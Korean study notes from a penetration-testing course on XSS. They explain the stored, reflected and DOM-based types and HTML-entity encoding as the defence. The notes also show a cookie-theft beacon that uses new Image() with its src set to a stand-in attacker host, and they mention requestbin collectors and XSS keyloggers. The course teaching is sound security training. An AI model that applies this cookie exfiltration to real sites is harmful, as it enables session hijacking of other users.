노말틱 모의해킹

[11주차 강의] XSS로 공격하는 방법

debugginglog 2025. 6. 17. 21:47

Part.1

1. 보고서 깔끔하게 잘 쓰자
2. 보고서를 쓸 때는 캡쳐화면을 많이 넣어야 한다.
3. 사진은 글자가 잘 보이게 넣자.
4. 어디에서 발생한건지는 꼭 써주기
5. 말투는 그냥 동일하게만 가면 괜찮음

Part.2

XSS : 클라이언트 측 스크립트 삽입
웹 브라우저에서 실행되는 JavaScript
1. Stored XSS : 서버에 스크립트를 저장하는 공격, 다른 유저에게 피해를 주는 방식
2. Reflected XSS : 서버에서 반사되는 특징을 활용함. 링크를 외부에 뿌리는 방식을 활용한다. 그래서 GET 방식만 적용 가능하다.
혹시 Burp에서 response를 조작해서 Alert 띄우면 괜찮은가? : 공격을 어떻게 하는지 생각해봐야한다. Alert(1)을 피해자 컴퓨터에서 적용가능한지 확인이 필요하다.
쿠키는 웹서버에 있는 쿠키를 가져온다. 그러니까 naver.com 쿠키는 naver.com 도메인에서 스크립트를 실행해야만 한다.
alert(1) 대신 뭘로 해야하는가? 
쿠키는 어떻게 탈취하는가? 쿠키는 왜 탈취해야하는가?
SessionID는 쿠키에 저장되어있고 해당 쿠키가 있다면 해당 사이트에서 로그인할 수 있음.
document.cookie를 하면 javascript로 cookie값을 알 수 있음.
받기만 하면 될때는
var i = new Image();
i.src = "http://normaltic.attacker.com/";을 한다고 하면 html에서 <img src="~~~~"> 태그를 만듦
웹 요청을 보낸다. GET방식으로 Url에 데이터를 넣어서 보낼 수 있음.

Part.3

공격자 서버를 어떻게 준비하는가? : VPS 서버 
https://public.requestbin.com/r/

Part.4

cookie를 가져올 수도 있지만 Key logger(사용자가 키보드를 입력하는 기록)를 뽑아올 수도 있다. 
DOM Based XSS
1. javascript로 tag를 생성할 수도 있다.
2. 서버에서 반사되는게 아니고 브라우저에서 조립되어서 script가 생성된다.
3. 화면에는 보이는데 글자가 코드상 안보이는 경우는 조립된 것이라고 생각할 수도 있다.
4. 자주 사용되는 javascript 언어 : document.write / innerHTML
5. reflected XSS랑 비슷함 결국 링크를 클릭해야지 작동하는 것이기 때문.

대응방안
1. 게시판에 script라는 글자를 안쓰게 할 수는 없다.
2. <>꺽새를 못쓰게 하는 것도 문제가 있다.
3. HTML Entity라는 개념이 등장. 꺽새 대신 &lt;의 표현방식은 <로 보이게 된다. 필터링이라기 보단 치환하는 방식

과제

1. 오늘 수업 정리
2. Cookie 탈취 7개 문제를 풀기. 보고서 작성
3. XSS 공격 시나리오 연구하기.
4. 웹개발 다했으면 코드 소스 보내주기